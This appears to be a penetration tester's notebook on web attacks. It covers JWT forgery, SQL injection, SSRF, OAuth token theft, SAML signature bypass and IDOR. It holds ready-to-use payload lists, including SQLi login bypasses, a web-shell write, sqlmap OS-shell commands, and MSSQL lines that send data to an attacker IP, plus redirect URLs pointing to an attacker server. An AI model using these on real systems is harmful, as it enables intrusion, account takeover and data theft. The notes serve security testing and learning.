Note: Even if JWT does not contain a signature, the final `.` character is required.
{% endhint %}

<figure><img src="/files/HZk1rf9clMKkNMoUhvrd" alt=""><figcaption></figcaption></figure>

### Algorithm Confusion

#### <mark style="color:$success;">Description</mark>

Algorithm confusion is a JWT attack that forces the web application to use a different algorithm to verify the JWT's signature than the one used to create it.

If a web application uses an **asymmetric algorithm** like **RS256**, it signs JWTs with a **private key** and verifies them using a **public key**. However, if an attacker crafts a JWT that claims to use a **symmetric algorithm** like **HS256**, the situation changes, as it uses the **same key** for both signing and verification.

If the application naively trusts the `alg` field in the token header, it will attempt to verify the token using HS256 **with whatever key it already has**, which in this case is the **public key**.

Because the public key is, by definition, public, an attacker can sign a forged HS256 token using that public key, and the application will incorrectly accept it as valid.

{% hint style="danger" %}
This vulnerability only exists if the application chooses the verification algorithm based on the token’s `alg` header instead of enforcing a fixed, expected algorithm.

To prevent this attack, the application must **ignore the JWT’s `alg` header** and **always use the server-side configured algorithm** (e.g., always RS256).
{% endhint %}

#### <mark style="color:$success;">Performing the Attack</mark>

To execute the algorithm confusion attack, we need the public key used by the web application for signature verification, which you can get:

* from the web application's certificate
* from the web application's JKWS key set usually at `https://example.com/.well-known/jwks.json`
* from the JWT itself

To gain the key from the JWT, get two valid JWTs from the web application (by logging in two times) and use [rsa\_sign2n](https://github.com/silentsignal/rsa_sign2n)&#x20;

```
git clone https://github.com/silentsignal/rsa_sign2n
cd rsa_sign2n/standalone/
docker build . -t sig2n
docker run -it sig2n /bin/bash
python3 jwt_forgery.py <JWT1> <JWT2>
```

The tool may output multiple public key candidates based on the two JWTs you provided.

{% hint style="success" %}
To reduce the number of candidates, we can rerun it with different JWTs captured from the web application
{% endhint %}

Additionally, the tool automatically creates symmetric JWTs signed with the computed public key in different formats, which you can use to test for an algorithm confusion vulnerability.

If a token is accepted, you have confirmed the algorithm confusion vulnerability exists.

To forge a new token with edited claims, use the public key saved by the tool to a local file named `filename_x509.pem` within the docker container in CyberChef *`JWT Sign`*. Set the signing algorithm to HS256 and paste the public key into the Private/Secret key field.&#x20;

{% hint style="danger" %}
Remember to add a newline (`\n`) at the end of the public key!!
{% endhint %}

***

## Cracking the JWT Secret

After gaining access to a valid JWT, it is possible to attempt to brute-force the signing secret to obtain it. JWT supports three symmetric algorithms based on potentially guessable secrets: `HS256`, `HS384`, and `HS512`. If your token uses one of those algorithms, you might be able to crack its secret key.

{% hint style="success" %}
Having access to the signing secret key means we can forge and sign any new valid token.
{% endhint %}

To crack a JWT you can either use hashcat or jwt\_tool:

```bash
hashcat -m 16500 jwt.txt /path/to/wordlist.txt
python3 jwt_tool.py JWT -C -d /path/to/wordlist.txt
```

Some wordlists other than `rockyou.txt` to crack JWTs are:

1. <https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list>
2. <https://github.com/BBhacKing/jwt_secrets/blob/master/jwt_secrets_all.txt>
3. <https://github.com/danielmiessler/SecLists/blob/master/Passwords/scraped-JWT-secrets.txt>

After finding the JWT's secret key, you can forge a new one using [Cyberchef](https://gchq.github.io/CyberChef/) *`JWT Sign`* or [jwt\_tool](https://github.com/ticarpi/jwt_tool)

***

## Exploiting JWT Standard Claims

Several standard claims might be leveraged by an attacker to exploit JWTs

### jwk claim

{% hint style="info" %}
jwk contains information about the public key verification for asymmetric JWTs
{% endhint %}

If the web application is misconfigured to accept arbitrary keys provided in the `jwk` claim, **you can forge a JWT, sign it with your private key, and then provide the corresponding public key in the `jwk` claim** for the web application to verify the signature and accept the JWT.

To do that, first generate your keys using

```bash
openssl genpkey -algorithm RSA -out exploit_private.pem -pkeyopt rsa_keygen_bits:2048
openssl rsa -pubout -in exploit_private.pem -out exploit_public.pem
```

Then, you can manually sign the new JWT using Cyberchef, or use the following script to generate the JWT (note: edit your payload accordingly)

{% code overflow="wrap" lineNumbers="true" %}

```python
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from jose import jwk
import jwt

# JWT Payload
jwt_payload = {'parameter1': 'value1', 'parameter2': 'value2'}

# convert PEM to JWK
with open('exploit_public.pem', 'rb') as f:
    public_key_pem = f.read()
public_key = serialization.load_pem_public_key(public_key_pem, backend=default_backend())
jwk_key = jwk.construct(public_key, algorithm='RS256')
jwk_dict = jwk_key.to_dict()

# forge JWT
with open('exploit_private.pem', 'rb') as f:
    private_key_pem = f.read()
token = jwt.encode(jwt_payload, private_key_pem, algorithm='RS256', headers={'jwk': jwk_dict})

print(token)
```

{% endcode %}

Then run:

```bash
pip3 install pyjwt cryptography python-jose
python3 exploit.py
```

***

### jku claim

{% hint style="info" %}
jku is similar to the jwk claim: it holds a URL that serves the key details rather than holding them directly.&#x20;
{% endhint %}

When a web application does not correctly check this claim, it can be exploited using a nearly identical process to the jwk claim: instead of embedding the key details into it, the attacker hosts the key details on their web server and sets the JWT's jku claim to the corresponding URL.

{% hint style="danger" %}
It is crucial that the `kid` in the JWT matches exactly that of the public key exposed on the server, so that the server uses the correct key in the JWK Set
{% endhint %}

<mark style="color:$danger;">Also, the jwk claim can be exploited for blind GET based SSRF attacks!</mark>

***

### kid claim

{% hint style="info" %}
The kid claim tells the server which public key to use to verify the JWT's signature by specifying the key's identifier. The web application will then look for a matching key in its key store.
{% endhint %}

Depending on how the server manages the value of the kid and checks for a corresponding key, injection vulnerabilities such as SQLi or Path traversal can occur.

If the kid allows a path traversal vulnerability, it is possible to arbitrarily edit a JWT by making the kid point to a file whose contents are known, then sign the JWT with a symmetric key whose value corresponds to the contents of this file.

The easiest idea is to redirect the kid claim's value to the `/dev/null` file: since this file is empty, the attacker can create a symmetric key whose value is an empty character string. Since the kid points to an empty value, the attacker can modify the JWT as he wishes and sign it with his empty symmetric key. Since the `/dev/null` file (and therefore the symmetric key) has an empty value, the JWT’s signature will be valid.


# SQL Injection (SQLi)

## **Introduction**

> * SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database.
> * It generally allows an attacker to view data that they are not normally able to retrieve.
> * This might include data belonging to other users, or any other data that the application itself is able to access.
> * In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior.
> * In some situations, an attacker can escalate a SQL injection attack to compromise the underlying server or other back-end infrastructure, or perform a denial-of-service attack.
> * Source: <https://portswigger.net/web-security/sql-injection>

***

## **Useful Resources**

1. <https://portswigger.net/web-security/sql-injection/cheat-sheet>
2. <https://book.hacktricks.xyz/pentesting-web/sql-injection>

***

## **Finding a SQLi attack vector**

> Whenever faced with user-input, you can check if the target is vulnerable to SQLi by using the following inputs Note that in some cases you may be facing a blind SQLi, which means that you won't be able to "see" any error messages

```
'
"
`
')
")
`)
'))
"))
`))
OR 1=1
OR 1=1 -- //
```

> Take care when injecting the condition OR 1=1 into a SQL query. Even if it appears to be harmless in the context you're injecting into, it's common for applications to use data from a single request in multiple different queries. If your condition reaches an UPDATE or DELETE statement, for example, it can result in an accidental loss of data.

***

## SQL Injection Filter Evasion - Unicode Normalization

Unicode normalization is a process that ensures different binary representations of characters are standardized to the same binary value. This process is crucial in dealing with strings in programming and data processing

You can find a great article here:\
<https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/>

Depending on how the back-end/front-end is behaving when it **receives weird unicode characters** an attacker might be able to **bypass protections and inject arbitrary characters.**

You can use the following payloads to try and trigger a SQLi whenever you are facing any filters. Sometimes, unicode normalization even allows bypassing WAFs in place.

Other characters can be found at:

* <https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html>
* <https://0xacb.com/normalization_table>

| Character | Unicode Normalization |
| --------- | --------------------- |
| o         | %e1%b4%bc             |
| r         | %e1%b4%bf             |
| 1         | %c2%b9                |
| =         | %e2%81%bc             |
| /         | %ef%bc%8f             |
| -         | %ef%b9%a3             |
| #         | %ef%b9%9f             |
| \*        | %ef%b9%a1             |
| '         | %ef%bc%87             |
| "         | %ef%bc%82             |
| \|        | %ef%bd%9c             |

***

## **UNION-Based SQL Injection Payloads**

| Payload                                                                                                                                         | Description                                          |
| ----------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------- |
| ' order by 1-- -                                                                                                                                | Detect number of columns using order by              |
| cn' UNION select 1,2,3-- -                                                                                                                      | Detect number of columns using Union injection       |
| cn' UNION select 1,@@version,3,4-- -                                                                                                            | Basic Union injection                                |
| UNION select username, 2, 3, 4 from passwords-- -                                                                                               | Union injection for 4 columns                        |
| cn' UNION select 1,database(),2,3-- -                                                                                                           | Current database name                                |
| cn' UNION select 1,schema\_name,3,4 from INFORMATION\_SCHEMA.SCHEMATA-- -                                                                       | List all databases                                   |
| cn' UNION select 1,TABLE\_NAME,TABLE\_SCHEMA,4 from INFORMATION\_SCHEMA.TABLES where table\_schema='dev'-- -                                    | List all tables in a specific database               |
| cn' UNION select 1,COLUMN\_NAME,TABLE\_NAME,TABLE\_SCHEMA from INFORMATION\_SCHEMA.COLUMNS where table\_name='credentials'-- -                  | List all columns in a specific table                 |
| cn' UNION select 1, username, password, 4 from dev.credentials-- -                                                                              | Dump data from a table in another database           |
| cn' UNION SELECT 1, user(), 3, 4-- -                                                                                                            | Find current user                                    |
| cn' UNION SELECT 1, super\_priv, 3, 4 FROM mysql.user WHERE user="root"-- -                                                                     | Find if user has admin privileges                    |
| cn' UNION SELECT 1, grantee, privilege\_type, is\_grantable FROM information\_schema.user\_privileges WHERE user="root"-- -                     | Find if all user privileges                          |
| cn' UNION SELECT 1, variable\_name, variable\_value, 4 FROM information\_schema.global\_variables where variable\_name="secure\_file\_priv"-- - | Find which directories can be accessed through MySQL |
| cn' UNION SELECT 1, LOAD\_FILE("/etc/passwd"), 3, 4-- -                                                                                         | Read local file                                      |
| select 'file written successfully!' into outfile '/var/www/html/proof.txt'                                                                      | Write a string to a local file                       |
| cn' union select "",'', "", "" into outfile '/var/www/html/shell.php'-- -                                                                       | Write a web shell into the base web directory        |

***

## **SQL Injection Payloads Lists**

<details>

<summary>Authentication Bypass</summary>

```
'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
' OR 1=1 -- //
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer 
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
```

</details>

<details>

<summary>MSSQL Generic Payloads</summary>

```
; --
'; --
'); --
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
' grant connect to name; grant resource to name; --
' or 1=1 -- 
' union (select @@version) --
' union (select NULL, (select @@version)) --
' union (select NULL, NULL, (select @@version)) --
' union (select NULL, NULL, NULL,  (select @@version)) --
' union (select NULL, NULL, NULL, NULL,  (select @@version)) --
' union (select NULL, NULL, NULL, NULL,  NULL, (select @@version)) --
'; if not(substring((select @@version),25,1) <> 0) waitfor delay '0:0:2' --
'; if not(substring((select @@version),25,1) <> 5) waitfor delay '0:0:2' --
'; if not(substring((select @@version),25,1) <> 8) waitfor delay '0:0:2' --
'; if not(substring((select @@version),24,1) <> 1) waitfor delay '0:0:2' --
'; if not(select system_user) <> 'sa' waitfor delay '0:0:2' --
'; if is_srvrolemember('sysadmin') > 0 waitfor delay '0:0:2' -- 
'; if not((select serverproperty('isintegratedsecurityonly')) <> 1) waitfor delay '0:0:2' --
'; if not((select serverproperty('isintegratedsecurityonly')) <> 0) waitfor delay '0:0:2' --
select @@version
select @@servernamee
select @@microsoftversione
select * from master..sysserverse
select * from sysusers
exec master..xp_cmdshell 'ipconfig+/all'	
exec master..xp_cmdshell 'net+view'
exec master..xp_cmdshell 'net+users'
exec master..xp_cmdshell 'ping+<attackerip>'
BACKUP database master to disks='\\<attackerip>\<attackerip>\backupdb.dat'
create table myfile (line varchar(8000))" bulk insert foo from 'c:\inetpub\wwwroot\auth.aspâ'" select * from myfile"--
```

</details>

***

## **SQLMap Basics**

| Command                                                                                                                    | Description                                                 |
| -------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------- |
| sqlmap -h                                                                                                                  | View the basic help menu                                    |
| sqlmap -hh                                                                                                                 | View the advanced help menu                                 |
| sqlmap -u "<http://www.example.com/vuln.php?id=1>" --batch                                                                 | Run SQLMap without asking for user input                    |
| sqlmap '<http://www.example.com/>' --data 'uid=1\&name=test'                                                               | SQLMap with POST request                                    |
| sqlmap '<http://www.example.com/>' --data 'uid=1\*\&name=test'                                                             | POST request specifying an injection point with an asterisk |
| sqlmap -r req.txt                                                                                                          | Passing an HTTP request file to SQLMap                      |
| sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'                                                           | Specifying a cookie header                                  |
| sqlmap -u [www.target.com](http://www.target.com) --data='id=1' --method PUT                                               | Specifying a PUT request                                    |
| sqlmap -u "<http://www.target.com/vuln.php?id=1>" --batch -t /tmp/traffic.txt                                              | Store traffic to an output file                             |
| sqlmap -u "<http://www.target.com/vuln.php?id=1>" -v 6 --batch                                                             | Specify verbosity level                                     |
| sqlmap -u "[www.example.com/?q=test](http://www.example.com/?q=test)" --prefix="%'))" --suffix="-- -"                      | Specifying a prefix or suffix                               |
| sqlmap -u [www.example.com/?id=1](http://www.example.com/?id=1) -v 3 --level=5                                             | Specifying the level and risk                               |
| sqlmap -u "<http://www.example.com/?id=1>" --banner --current-user --current-db --is-dba                                   | Basic DB enumeration                                        |
| sqlmap -u "<http://www.example.com/?id=1>" --tables -D testdb                                                              | Table enumeration                                           |
| sqlmap -u "<http://www.example.com/?id=1>" --dump -T users -D testdb -C name,surname                                       | Table/row enumeration                                       |
| sqlmap -u "<http://www.example.com/?id=1>" --dump -T users -D testdb --where="name LIKE 'f%'"                              | Conditional enumeration                                     |
| sqlmap -u "<http://www.example.com/?id=1>" --schema                                                                        | Database schema enumeration                                 |
| sqlmap -u "<http://www.example.com/?id=1>" --search -T user                                                                | Searching for data                                          |
| sqlmap -u "<http://www.example.com/?id=1>" --passwords --batch                                                             | Password enumeration and cracking                           |
| sqlmap -u "<http://www.example.com/>" --data="id=1\&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token" | Anti-CSRF token bypass                                      |
| sqlmap --list-tampers                                                                                                      | List all tamper scripts                                     |
| sqlmap -u "<http://www.example.com/case1.php?id=1>" --is-dba                                                               | Check for DBA privileges                                    |
| sqlmap -u "<http://www.example.com/?id=1>" --file-read "/etc/passwd"                                                       | Reading a local file                                        |
| sqlmap -u "<http://www.example.com/?id=1>" --file-write "shell.php" --file-dest "/var/www/html/shell.php"                  | Writing a file                                              |
| sqlmap -u "<http://www.example.com/?id=1>" --os-shell                                                                      | Spawning an OS shell                                        |

***

## **Second Order SQLi**

> Second-order SQL injection arises when user-supplied data is stored by the application and later incorporated into SQL queries in an unsafe way. To detect the vulnerability, it is normally necessary to submit suitable data in one location, and then use some other application function that processes the data in an unsafe way

One example of second order SQLi is the following i faced during a CTF challenge:

1. The target web application's registration form suffered from SQLi
2. After registering a user, a specific field inside the user profile showed the result of the SQL injection
3. To achieve a second-order SQLi with sqlmap i used the following:
   * `sqlmap -r req --batch --dump --risk 3 --level 5 --second-req req2 --dbms=mysql --tamper=space2comment --dump`


# SSRF

Server-Side Request Forgery (SSRF) is a web security vulnerability that allows an attacker to coerce the server into making requests to arbitrary URLs.

## Tools & Resources

* <https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet>
* <https://github.com/swisskyrepo/SSRFmap>
* <https://github.com/tarunkant/Gopherus>
* <https://app.interactsh.com/>
* [https://owasp.org/www-project-top-25-parameters](https://owasp.org/www-project-top-25-parameters/#top-25-server-side-request-forgery-ssrf-parameters)

***

## Finding SSRF Vectors

{% hint style="info" %}
If you are facing a BLIND SSRF, use Burp Collaborator, [interact.sh](https://app.interactsh.com/) or similar tools to gain a ping back\
If you are facing a target which validates your input, check out the [PortSwigger Bypass CheatSheet](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet)
{% endhint %}

To identify potential SSRF vectors, locate `GET` or `POST` parameters used by the web application to access other resources via explicit or implicit external calls.

{% hint style="success" %}
Other than the standard `http://` and `https://` schemes, it is sometimes possible to leverage SSRF with other URL schemes such as:

* `file://` - Allows reading files from the local file system
* `gopher://` - Allows sending arbitrary bytes to other services, potentially causing remote code execution
  {% endhint %}

The [OWASP top 25 vulnerable parameters list](https://owasp.org/www-project-top-25-parameters/#top-25-server-side-request-forgery-ssrf-parameters), as of the time of writing, contains:

```
?dest={target}
?redirect={target}
?uri={target}
?path={target}
?continue={target}
?url={target}
?window={target}
?next={target}
?data={target}
?reference={target}
?site={target}
?html={target}
?val={target}
?validate={target}
?domain={target}
?callback={target}
?return={target}
?page={target}
?feed={target}
?host={target}
?port={target}
?to={target}
?out={target}
?view={target}
?dir={target}
```

## Using Gopher to send POST data

There is no way to send a POST request with the HTTP URL scheme. Instead, we can use the gopher URL scheme to send arbitrary bytes to a TCP socket. This protocol enables us to create a POST request by building the HTTP request ourselves.

Suppose you want to send a POST request to login.php with username sfoffo and password admin. To send a POST request with that data, you need to URL-Encode all special characters to construct a valid gopher URL. In particular, spaces (`%20`) and newlines (`%0D%0A`) must be URL-encoded.

{% hint style="success" %}
One great tool to generate gopher-based SSRF payload is [**gopherus**](https://github.com/tarunkant/Gopherus)
{% endhint %}

After that, prefix the data with the gopher URL scheme, the target host and port, and an underscore, resulting in the following gopher URL:

{% code overflow="wrap" %}

```
gopher://example.sfoffo:80/_POST%20/login.php%20HTTP%2F1.1%0D%0AHost:%20example.sfoffo%0D%0AContent-Length:%2013%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Ausername%3Dsfoffo%26password%3Dadmin
```

{% endcode %}

***


# OAuth Attacks

OAuth is a standard designed to enable secure authorization between services and applications. It is widely used in Single Sign-On (SSO) scenarios, where a user can authenticate once and access multiple applications without sharing their credentials with each service.

<details>

<summary>OAuth Basic Overview</summary>

#### OAuth Entities <a href="#oauth-entities" id="oauth-entities"></a>

The OAuth protocol defines the following entities:

* *<mark style="color:$success;">**Resource Owner**</mark>* - Typically the user who owns the protected resources.
* *<mark style="color:$success;">**Client**</mark>* - The application requesting access to the resources on behalf of the user.&#x20;
* *<mark style="color:$success;">**Authorization Server**</mark>* - The server responsible for authenticating the user and issuing access tokens.
* *<mark style="color:$success;">**Resource Server**</mark>* - The server hosting the protected resources.\
  It can be the same as the authorization server, or a separate one.

***

#### OAuth Standard Communication Flow

The communication flow between the previous entities works as follows:

1. The client requests authorization from the user.
2. The user consents to giving access to their profile to the third-party service, granting authorization.
3. The client presents the authorization grant to the authorization server.
4. The client receives an access token from the authorization server
5. The client presents the access token to the resource server
6. The client receives the resource from the resource server

<div data-full-width="false"><figure><img src="/files/lVJLeb9trzF19ekHNxmt" alt="" width="563"><figcaption><p>Source: <a href="https://portswigger.net/web-security/images/oauth-authorization-code-flow.jpg">https://portswigger.net/web-security/images/oauth-authorization-code-flow.jpg</a></p></figcaption></figure></div>

***

#### **Authorization Code Grant**

The **authorization code grant** is the most common and secure OAuth flow. It strictly follows the standard OAuth process and ensures that sensitive tokens are exchanged server-to-server rather than through the user’s browser.

#### Implicit Code Grant

The **implicit grant** is a simplified OAuth flow intended for clients that cannot securely store a client secret (typically browser-based JavaScript applications). This grant type is less secure because the access token is sent from the OAuth service to the client application via the user's browser as a URL fragment.

</details>

***

## Identifying OAuth authentication <a href="#identifying-oauth-authentication" id="identifying-oauth-authentication"></a>

To identify whether an application uses OAuth, look for options to log in with an external account.

All OAuth flows begin with a request to the `/authorization` endpoint, which includes parameters like `client_id`, `redirect_uri`, and `response_type`.

{% hint style="info" %}
`response_type` can either be `code` to use standard authorization or `token` to use the (insecure) implicit grant authorization flow
{% endhint %}

If a third-party OAuth provider is involved, its hostname in the authorization request usually reveals which service is being used, and its public documentation can expose details about endpoints and configuration.

After identifying the authorization server’s hostname, it is useful to probe the standard discovery URLs:

* `/.well-known/oauth-authorization-server`
* `/.well-known/openid-configuration`

These often return JSON configuration files that reveal supported features, additional endpoints, and other information that can expose a broader attack surface than what is documented.

***

## Stealing Access Tokens <a href="#stealing-access-tokens" id="stealing-access-tokens"></a>

{% hint style="success" %}
This vulnerability occurs when the `redirect_uri` is not properly verified by the authorization server.
{% endhint %}

An attacker can steal a victim's access token by manipulating the `redirect_uri` parameter to make redirect the user to a server they own. In particular:

1. The attacker needs to create a link for an `authorization request` that contains a manipulated `redirect_uri` and set the `state` parameter to an arbitrary value ***as long as it is always the same for the entire attack.***
2. The request's `client_id` parameter can be extracted by executing the OAuth flow with the attacker's credentials and re-using the client\_id.
3. After receiving the manipulated link, the user logs in and gets redirected to the attacker's server, sending them a request with the login parameters.
4. The attacker's server will show a request specifying the authorization code for the user's account&#x20;
5. The attacker can now complete the OAuth flow and exchange the authorization token for a valid access token, thereby impersonating the victim.\
   The attacker can easily achieve this by forging the access token request, since all required parameters are known: `/client/callback?code=<stolen-code>&state=<state>`
6. The remaining OAuth flow is completed by the client and authorization server in the background. The victim's access token is returned in the response. Since the attacker now owns a valid access token for the victim, they can use it to impersonate the victim

{% hint style="warning" %}
In real-world applications, the `redirect_uri` parameter is usually filtered. You can sometimes find misconfigured whitelists allowing any value that contains the hostname. Considering you are attacking `example.com` and own `attacker.server`, you can bypass the filters using redirect values such as:
{% endhint %}

```
https://example.com.attacker.server/callback
https://example.com@attacker.server
https://attacker.server/callback?a=https://example.com
https://attacker.server/callback#https://example.com
```

{% hint style="info" %}
A misconfigured `redirect_uri` parameter can also cause ***SSRFs and Open Redirects***!
{% endhint %}

***

## CSRF via missing state parameter

{% hint style="success" %}
The `state` parameter in the OAuth flow is an optional parameter that serves as an anti-CSRF measure.\
A missing (or improperly validated) state parameter easily leads to a CSRF vulnerability
{% endhint %}

Whenever an OAuth implementation lacks the `state` parameter in the authorization request, it is possible to perform a CSRF attack to cause the victim to be logged in as the attacker's account.

{% hint style="info" %}
While this may not seem like a useful attack, it might be a strong vector in some applications where the user might add personal data or credit card data to the attacker's account.
{% endhint %}

To execute the CSRF attack on an OAuth flow *without a state parameter*:

1. Get a valid authorization code your account by sending an authorization request and authenticating to the application.
2. Check the response to obtain the authorization code tied to your account and craft the callback link:\
   `http://example.com/client/callback?code=<your-code>`
3. Just like in a regular CSRF attack, the link will need to a user via other methods.
4. When a user clicks the provided link, their browser will automatically complete the OAuth flow, making them log in with the attacker's account.

***

## Reflected XSS

Sometimes, the authorization request:

{% code overflow="wrap" %}

```http
GET /authorization/auth?response_type=code&client_id=<value>&redirect_uri=<value>&state=<value>
```

{% endcode %}

reflects back some (or all) parameters as hidden values in the response.

In that case, considering the vulnerability exists in the authorization request, it can potentially result in a full account takeover of a victim's account.

***


# SAML Attacks

Secure Assertion Markup Language (SAML) is an XML-based standard that enables authentication and authorization between parties and can be used to implement SSO. In SAML, data is exchanged in digitally signed XML documents to ensure data integrity.

<details>

<summary>SAML Basic Overview</summary>

### SAML Components

SAML consists of three core components:

1. **Identity Provider (IdP):** the system responsible for authenticating users. After authentication, it issues **SAML assertions** containing identity and authorization information.
2. **Service Provider (SP):** the application or service the user wants to access.\
   It validates the user's identity by relying on the SAML assertions issued by the IdP.
3. **SAML Assertions:** XML-based documents containing the user’s authentication and authorization details. Assertions are **digitally signed** to ensure integrity and trust.

### Authentication Flow

SAML follows a pre-defined flow, which can be described from a high-level as:

1. A user **accesses** the Service Provider (SP).
2. The SP sends a **SAML authentication request** to the IdP (via browser redirection).
3. The **user authenticates** with the IdP.
4. After authentication, the IdP creates a **digitally signed SAML assertion** and sends it back to the user’s browser.
5. The browser forwards the assertion to the SP.
6. The **SP verifies** the SAML assertion.
7. Once verified, the user accesses the requested resource.
8. The SP provides the resource.

<figure><img src="/files/avMWb4fEPQcpbvEmZ88a" alt="" width="563"><figcaption><p>Source: <a href="https://www.researchgate.net/figure/SAML-20-Sequence-Diagram-12_fig1_282775938">https://www.researchgate.net/figure/SAML-20-Sequence-Diagram-12_fig1_282775938</a></p></figcaption></figure>

</details>

## Useful Resources:

* Decode and inflate SAML data: <https://www.samltool.com/decode.php>
* <https://medium.com/stolabs/how-saml-works-and-some-attacks-on-it-2f62db0ef1d9>
* [Burp Pro SAML Raider Extension](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)

{% hint style="success" %}
If you own BurpSuite Professional, the SAML Raider extension can greatly simplify the attacks covered here by handling decoding, editing, and resigning of SAML responses.
{% endhint %}

***

## Identifying SAML authentication

When you authenticate to a web application using SAML, you will be redirected to the identity provider with a request containing the `SAMLRequest` parameter, an eample redirect location is\
`/saml/idp/SSOService.php?SAMLRequest=<value>`

The value of the SAML request can be ***URL-decoded*** and then given to [SAMLTool](https://www.samltool.com/decode.php) to ***Base64-decode and inflate*** the XML data, to show the complete XML `SAMLRequest` data

{% hint style="success" %}
Note: when you successfully authenticate with SAML, the `SAMLResponse` **does not need to be inflated, but just URL and base64 decoded.**
{% endhint %}

***

## Signature Exclusion Attack <a href="#signature-exclusion-attack" id="signature-exclusion-attack"></a>

Signature Exclusion is an attack that manipulates the `SAMLResponse` data by removing its signature.&#x20;

This only works when a service provider is misconfigured to only verify the signature if one is present and defaults to accepting the SAMLResponse otherwise. This means that an attacker may remove the signature to manipulate the SAMLResponse without invalidating it, and, for example, impersonating other users.

The steps to reproduce this attack are the following:

1. Login via SAML with a valid user, **URL-decode and Base64-decode** the `SAMLResponse` to check its data.
2. To impersonate a different user, edit the values in the `saml:Assertion` used by the web application for authentication, for example, you can change your username to another user's by editing:\
   `<saml:AttributeValue xsi:type="xs:string">admin</saml:AttributeValue>`
3. Remove all signatures from the SAML response, which are the `ds:Signature` XML elements
4. **Base64-encode and URL-encode** the entire `SAMLResponse` you just edited
5. Login to the application again, intercept your request containing the `SAMLResponse` parameter and change the data with what you previously produced.

***

## Signature Wrapping Attack <a href="#signature-wrapping-attack" id="signature-wrapping-attack"></a>

Signature Wrapping is a class of attacks against SAML implementations that aims to create a discrepancy between the signature verification logic and the logic used to extract authentication information from the SAML assertion.&#x20;

This discrepancy is achieved by injecting XML elements into the SAML response that, while not invalidating the signature, potentially confuse the application, causing it to use the injected and unsigned authentication information instead of the signed one.

To do that:

1. Login via SAML with a valid user, **URL-decode and Base64-decode** the `SAMLResponse` to check its data.
2. From the obtained XML, copy the `saml:Assertion` node and remove its `ds:Signature` nodes
3. Change the new `saml:Assertion` identifier by using any value, such as `ID=_any`
4. Edit the copied assertion by changing the data attributes you are interested in changing. For example, you can change your username to admin.
5. Inject the copied assertion into the SAML before the signed, original and unchanged assertion
6. Finally, Base64-encode and URL-encode the resulting SAML response before sending it to the service provider in the following request

***

## Other XML-based Attacks

Since SAML uses an XML data format for data representation, flawed SAML implementations may be vulnerable to attacks on XML-based data

### XXE Injection <a href="#xxe-injection" id="xxe-injection"></a>

If a SAML service provider relies on a misconfigured XML parser that loads external entities, it may be vulnerable to XXE injection.  To inject a XXE payload, you need to first obtain the XML representation of the SAML response as previously shown, then inject the payload at the beginning of the SAML response, resulting in the following structure:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:80"> %xxe; ]>
<samlp:Response>
    [...]
</samlp:Response>
```

Then, as usual, Base64-encode and URL-encode the XML data to send it via the `SAMLResponse` parameter

***

### XSLT Server-side Injection

A misconfigured XML parser might be vulnerable to XSLT server-side injection.

To inject a payload, use an XSLT payload, like the following example

```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('http://127.0.0.1/')"/>
</xsl:template>
</xsl:stylesheet>
```

Then, as usual, Base64-encode and URL-encode the XML data to send it via the `SAMLResponse` parameter


# Insecure Direct Object References (IDOR)

## **Introduction**

> * IDOR refers to the ability to interact directly with object by using a reference to their identifier
> * An example of IDOR is whenever a web application uses a guessable id value that can be directly modified by the user (e.g. an id in the URL)
> * As web applications store users' files and information, they may use sequential numbers or user IDs to identify each item.
> * IDOR can lead to accessing data that should not be accessible by attackers.
> * What makes this attack very common is essentially the lack of a solid access control system on the back-end.
